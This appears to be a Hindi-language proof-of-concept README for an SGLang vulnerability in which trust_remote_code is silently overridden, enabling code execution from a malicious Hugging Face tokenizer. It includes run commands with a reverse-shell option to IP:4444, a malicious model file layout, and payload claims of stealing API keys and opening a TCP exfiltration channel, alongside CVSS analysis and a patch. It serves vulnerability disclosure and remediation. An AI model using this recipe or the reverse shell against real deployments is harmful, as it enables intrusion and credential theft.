
PoC for CVE-2026-7669: SGLang silent trust_remote_code override -> RCE
SGLang चुपचाप trust_remote_code=False को True में बदल देता है और
AutoTokenizer.from_pretrained को फिर से कॉल करता है जब भी transformers v5 एक
TokenizersBackend ऑब्जेक्ट लौटाता है। एक मॉडल जिसमें कस्टम tokenizer_class और
tokenizer.py की ओर इशारा करता हुआ auto_map होता है, SGLang प्रक्रिया के अंदर
मनमाना कोड निष्पादन (arbitrary code execution) तक पहुँचता है, भले ही ऑपरेटर ने False पास किया हो।
किसी भी स्तर पर कोई लॉग लाइन उत्सर्जित नहीं होती है।
main (कमिट fae90abf6) तकpython/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 उच्चif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
PR #17784 में पेश किया गया
(कमिट d1e95af28, 2026-03-18)। मूल logger.info(...) सूचना
कमिट 27ac831a8 (2026-03-23) द्वारा "docs: improve CI
and testing documentation" शीर्षक के तहत हटा दी गई थी, जिससे यह ओवरराइड हर
जारी किए गए कमजोर संस्करण में पूरी तरह से मौन रह गया।
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
एक Docker इमेज (python:3.12.7-slim-bookworm + transformers==5.3.0
अन्य मोड:
./run.sh --server TokenizerManager.__init__ के माध्यम से पुनरुत्पादन
./run.sh --versions transformers 5.0..5.5 मैट्रिक्स
./run.sh --revshell IP IP:4444 पर ऑप्ट-इन रिवर्स शेल
./run.sh --rebuild फोर्स --no-cache रीबिल्ड
./run.sh --copy-ledger ./ledger.json
एग्जिट 0 का अर्थ है पुष्टि। अंतिम सारांश:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
एग्जिट कोड:
| कोड | अर्थ |
|---|---|
| 0 | पुष्टि हुई |
| 1 | ट्रिगर नहीं हुआ |
| 2 | गलत सकारात्मक (transformers ने स्वयं tokenizer.py निष्पादित किया, बग अपस्ट्रीम में है) |
| 3 | पिन किया गया संस्करण प्रीफ्लाइट विफल रहा |
प्रीफ्लाइट चरण pinned_versions.json पढ़ता है और प्रत्येक मान को
रनटाइम वातावरण के विरुद्ध सत्यापित करता है। किसी भी परीक्षण से पहले ड्रिफ्ट एग्जिट 3 देता है।
| घटक | पिन |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| SGLang कमिट | fae90abf6e15aaffb6fd924a439253674771487d |
hf_transformers_utils.py SHA256 | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| कमजोर ब्लॉक (पंक्तियाँ 898-909) SHA256 | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| मीट्रिक | मान | समर्थित |
|---|---|---|
| AV | N | ट्रिगर फ़ाइलें (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) मानक HF Hub auto_map लेआउट हैं। कोई भी रजिस्ट्री जो उन्हें प्रदान करती है, बग तक पहुँचती है। |
| AC | L | PHASE-2 एक ही रन पर निर्धारित रूप से सक्रिय होता है। हर ट्रिगर स्थिति हमलावर-निर्मित सामग्री है। PRE-1..7 कोई पर्यावरण फ़िंगरप्रिंटिंग की पुष्टि नहीं करते। |
| PR | N | मुफ्त HF Hub अपलोड पर्याप्त है। ट्रिगर श्रृंखला में किसी भी चीज़ के लिए पीड़ित पर पूर्व-मौजूद विशेषाधिकार की आवश्यकता नहीं है। |
| UI | R | ट्रिगर केवल तब सक्रिय होता है जब कोई ऑपरेटर (या ऑपरेटर-कॉन्फ़िगर पाइपलाइन) launch_server --model-path attacker/model को कॉल करता है। |
| S | U | सभी SEV-* दावे SGLang प्रक्रिया प्राधिकार के अंदर चलते हैं। कोई सैंडबॉक्स या कंटेनर एस्केप नहीं। |
| C | H | SEV-secrets प्रक्रिया env से HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY कैप्चर करता है। SEV-network एक आउटबाउंड TCP एक्सफिल चैनल खोलता है। |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip विभिन्न संवेदनशील स्थानों में चार स्वतंत्र अखंडता प्राइमिटिव हैं। |
| A | H | RCE से अनुमानित। SEV-pip मनमाना सबप्रोसेस निष्पादन साबित करता है, जो सेल्फ-DoS के लिए आवश्यक समान प्राइमिटिव है। PoC सीधे सेल्फ-किल का प्रदर्शन नहीं करता। |
8.8 रूढ़िवादी न्यूनतम है। 9.6 (S:C के साथ) और 10.0 (दोनों S:C और
UI:N) बचाव योग्य हैं लेकिन समीक्षक-निर्भर हैं।
UI:N इस CVE के लिए उचित नहीं है। SGLang के HTTP सर्वर में एक
वास्तविक डिफ़ॉल्ट-नो-ऑथ बाईपास है जब api_key=None और admin_api_key=None
(रनटाइम पर decide_request_auth प्राइमिटिव के विरुद्ध AUTH-1 द्वारा सत्यापित),
लेकिन कोई भी HTTP एंडपॉइंट स्टार्टअप के बाद get_tokenizer तक नहीं पहुँचता
(CHAIN-1 द्वारा सत्यापित)। सभी चार get_tokenizer कॉल साइट
(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__,
DetokenizerManager.__init__) सर्वर लॉन्च के समय ऑपरेटर-आपूर्ति किए गए
--model-path से एक बार सक्रिय होते हैं। ऑथ बाईपास इसलिए एक अलग
मुद्दा है और CVE-2026-7669 के लिए चेन पार्टनर नहीं है।
PoC /tmp/poc_claim_ledger.json पर 29 व्यक्तिगत रूप से परीक्षण योग्य दावों के साथ
एक JSON लेजर लिखता है। इसे निकालने के लिए ./run.sh --copy-ledger ./ledger.json
का उपयोग करें।
| समूह | दावे |
|---|---|
PRE-1..7 | पिन किए गए संस्करण (Python, transformers, फ़ाइल SHA256, पंक्ति गणना, ओवरराइड-ब्लॉक SHA256, डिफ़ॉल्ट trust_remote_code, स्रोत पथ) |
SRC-1 | आयातित get_tokenizer स्रोत में ओवरराइड शामिल है |
PHASE-1 | transformers सीधे trust_remote_code=False का सम्मान करता है |
PHASE-1b, PHASE-1b-mech | SGLang माइनस पंक्तियाँ 898-909 False का सम्मान करता है और ठीक एक from_pretrained कॉल करता है |
PHASE-2, PHASE-2-mech, PHASE-2-silent | वास्तविक SGLang tokenizer.py निष्पादित करता है। ट्रेस कॉल 0 (False)->TokenizersBackend, कॉल 1 (True)->MaliciousTokenizer दिखाता है। कोई लॉग लाइन trust_remote_code का उल्लेख नहीं करती (रूट और sglang लॉगर पर DEBUG कैप्चर)। |
PHASE-2b | पैच किया गया + स्पष्ट True अभी भी लोड होता है (पैच सर्जिकल है) |
PHASE-3-rce, PHASE-3-via-override | धीमा टोकनाइज़र मोड भी उसी 898-909 पथ के माध्यम से RCE तक पहुँचता है |
SEV-write-sglang, SEV-write-launchsrv, SEV-write-model | स्थिरता और पार्श्व प्रसार प्राइमिटिव |
SEV-network | आउटबाउंड TCP एक्सफिल चैनल |
SEV-secrets | Env-var गुप्त कैप्चर |
SEV-pip | मनमाना pip इंस्टॉल (सप्लाई चेन) |
SEV-root | lmsysorg इमेज में रूट के रूप में चल रही प्रक्रिया |
AUTH-1 | डिफ़ॉल्ट ServerArgs (api_key=None, admin_api_key=None) सभी ADMIN_OPTIONAL एंडपॉइंट्स को बिना ऑथ पहुँच योग्य छोड़ देता है |
ट्रिगर मॉडल फ़ाइलें (सभी हमलावर-नियंत्रित, सभी HF Hub द्वारा अनुमत):
attacker/model/
config.json model_type "gpt2" (transformers के TOKENIZER_MAPPING_NAMES में)
tokenizer_config.json कस्टम tokenizer_class + auto_map -> tokenizer.py
tokenizer.json वैध BPE टोकनाइज़र (ताकि पहला लोड सफल हो)
tokenizer.py पेलोड
model.safetensors डमी वेट्स
get_tokenizer(MODEL_DIR, trust_remote_code=False) के अंदर निष्पादन प्रवाह:
AutoTokenizer.from_pretrained(..., trust_remote_code=False) कॉल करता है।tokenizer_class पाकर,
tokenizer.json से निर्मित एक सामान्य TokenizersBackend पर वापस आ जाता है। इस बिंदु पर tokenizer.py निष्पादित नहीं होता।type(tokenizer).__name__ == "TokenizersBackend" की जाँच करती हैं
और चुपचाप trust_remote_code=True के साथ पुनः प्रयास करती हैं।tokenizer.py आयात करता है।
शीर्ष-स्तरीय कथन SGLang प्रक्रिया के अंदर चलते हैं।PoC का PHASE-2-mech ट्रेस को शाब्दिक रूप से कैप्चर करता है:
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
{idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}]
पंक्तियाँ 898-909 हटाएँ। TokenizersBackend कई वर्कलोड के लिए एक उपयोगी टोकनाइज़र है
और इसे जैसा है वैसा लौटाना एक सुरक्षित डिफ़ॉल्ट है। यदि किसी मॉडल को वास्तव में
कस्टम टोकनाइज़र कोड की आवश्यकता है, तो ऑपरेटर को स्पष्ट रूप से --trust-remote-code
पास करना चाहिए।
वैकल्पिक रूप से, एक ज़ोरदार चेतावनी लॉग करें और from_pretrained को दोबारा कॉल किए बिना
TokenizersBackend लौटाएँ:
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
logger.warning(
"Model %s requires a custom tokenizer but trust_remote_code=False. "
"Returning generic TokenizersBackend without executing tokenizer.py. "
"Restart with --trust-remote-code if the custom code is required.",
tokenizer_name,
)
PHASE-2b सत्यापित करता है कि न्यूनतम पैच सर्जिकल है: स्पष्ट
trust_remote_code=True अभी भी मॉडल लोड करता है।
trust_remote_code: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrainedयह PoC रक्षात्मक सुरक्षा अनुसंधान और सुधार के लिए है। दुर्भावनापूर्ण
tokenizer.py डिफ़ॉल्ट रूप से केवल कंटेनर के अंदर /tmp/sglang_poc_proof.txt
में लिखता है। उन सिस्टमों के विरुद्ध न चलाएँ जिनके आप स्वामी नहीं हैं
या जिनके परीक्षण के लिए आपके पास प्राधिकरण नहीं है।
AUTH-2, AUTH-3 | सकारात्मक नियंत्रण पुष्टि करते हैं कि मिडलवेयर कॉन्फ़िगर होने पर बिना ऑथ को ब्लॉक करता है और वैध बियरर स्वीकार करता है |
CHAIN-1 | कोई भी HTTP एंडपॉइंट हैंडलर स्टार्टअप के बाद get_tokenizer() को कॉल नहीं करता (http_server.py में शून्य कॉल साइट) |
CHAIN-2 | स्पष्ट निर्णय: UI:N इस CVE के लिए उचित नहीं है। डिफ़ॉल्ट-नो-ऑथ बाईपास वास्तविक है लेकिन trust_remote_code ओवरराइड तक नहीं पहुँच सकता, क्योंकि सभी चार get_tokenizer कॉलर (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) __init__ पथ हैं जो सर्वर लॉन्च के समय एक बार सक्रिय होते हैं। ऑपरेटर अभी भी launch_server समय पर मॉडल पथ चुनता है, इसलिए UI:R बना रहता है। |